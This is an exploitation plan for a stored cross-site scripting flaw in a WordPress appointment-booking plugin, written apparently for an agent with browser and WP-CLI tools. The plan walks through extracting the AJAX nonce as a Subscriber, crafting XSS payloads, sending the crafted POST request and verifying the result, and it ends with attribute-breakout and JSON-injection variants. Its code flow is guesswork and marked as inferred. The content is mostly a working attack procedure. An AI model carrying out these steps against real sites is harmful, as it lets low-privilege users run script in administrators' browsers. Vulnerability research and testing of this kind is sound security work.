Exploitation Research Plan: CVE-2026-0742 (Smart Appointment & Booking)

1. Vulnerability Summary

The Smart Appointment & Booking plugin (<= 1.0.7) contains a stored cross-site scripting (XSS) vulnerability within its AJAX handling logic. Specifically, the saab_save_form_data action fails to properly sanitize user-supplied attributes before saving them to the database and fails to escape them upon output. This allows an authenticated user with at least Subscriber privileges to inject malicious scripts that execute when a user (including administrators) views the affected form or its configuration.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• AJAX Action: saab_save_form_data (registered via wp_ajax_saab_save_form_data)
• Vulnerable Parameter: Likely a parameter containing form structure or field attributes (e.g., form_data, fields, or attributes).
• Authentication: Required (Subscriber or higher).
• Preconditions: The plugin must be active. A nonce is likely required as part of standard WordPress AJAX patterns.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers the AJAX handler in its main initialization:
   add_action('wp_ajax_saab_save_form_data', 'saab_save_form_data_handler');
2. Data Handling: The handler (likely in a file like includes/class-ajax.php or admin/admin-ajax.php) retrieves data from $_POST.
3. Sink (Storage): The handler saves this data using update_option() or update_post_meta() without calling sanitize_text_field() or wp_kses() on the attributes.
4. Source (Output): When a booking form is rendered (via shortcode or in the admin dashboard), the saved data is retrieved and echoed directly into the HTML without using esc_attr() or esc_html().

4. Nonce Acquisition Strategy

To bypass the check_ajax_referer or wp_verify_nonce check usually present in AJAX handlers, we must extract the nonce from the WordPress frontend or admin area.

1. Identify Script Localization: Search the plugin for wp_localize_script. Look for the variable name and the key used for the nonce.
   • Hypothesis: The variable is likely saab_ajax_obj or saab_vars.
   • Hypothesis: The key is likely nonce or saab_nonce.
2. Trigger Shortcode: The plugin likely uses a shortcode to display booking forms. Based on the slug, the shortcode is likely [smart_appointment_booking] or [saab_form].
3. Setup:
   • Create a page containing the suspected shortcode: wp post create --post_type=page --post_status=publish --post_content='[smart_appointment_booking]'
4. Extraction:
   • Navigate to the page as the Subscriber user.
   • Use browser_eval to find the nonce:
     browser_eval("window.saab_ajax_obj?.nonce || window.saab_vars?.security")

5. Exploitation Strategy

1. Login: Authenticate as a Subscriber user using the browser_navigate and browser_type tools.
2. Obtain Nonce: Follow the strategy in Section 4 to retrieve the valid nonce for the saab_save_form_data action.
3. Craft Payload: Use a standard XSS payload wrapped in a JSON structure if the plugin expects serialized data, or as a direct POST parameter.
   • Target Parameter: form_data or saab_data.
   • Payload: {"label": "<script>alert(document.domain)</script>", "placeholder": "test"} (or similar attribute arrays).
4. Execute HTTP Request:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   
   action=saab_save_form_data&security=[NONCE]&data=[XSS_PAYLOAD]
   

5. Trigger XSS: Navigate to the page where the booking form is displayed or to the plugin's admin settings page as an administrator.

6. Test Data Setup

1. User: Create a subscriber user: wp user create victim_subscriber sub@example.com --role=subscriber --user_pass=password123.
2. Page: Create a page for the form: wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[smart_appointment_booking]'.
3. Plugin Activation: Ensure smart-appointment-booking is active.

7. Expected Results

• The AJAX request should return a success response (e.g., {"success": true} or 1).
• When an administrator visits the "Booking Page" or the plugin settings, an alert box with the document domain should appear.
• The malicious script should be visible in the page source, unescaped within an attribute or label tag.

8. Verification Steps

1. Check Database: Use WP-CLI to verify the stored payload:
   wp option get saab_form_settings (substitute saab_form_settings with the actual option name found during research).
2. DOM Check: Use browser_eval to check for the presence of the payload in the DOM after the exploit:
   browser_eval("document.body.innerHTML.includes('<script>alert')")

9. Alternative Approaches

• Missing Nonce: If no nonce check is performed, attempt the exploit without the security or nonce parameter.
• Admin-Only Trigger: If the XSS does not fire on the frontend, check the admin dashboard booking list or form editor.
• Attribute Breakout: If the input is placed inside an attribute (e.g., value="..."), use a breakout payload: " onmouseover="alert(1).
• JSON Injection: If the input is part of a JSON blob in a hidden field, try: {"id": "1", "name": "test\"};alert(1);//"} .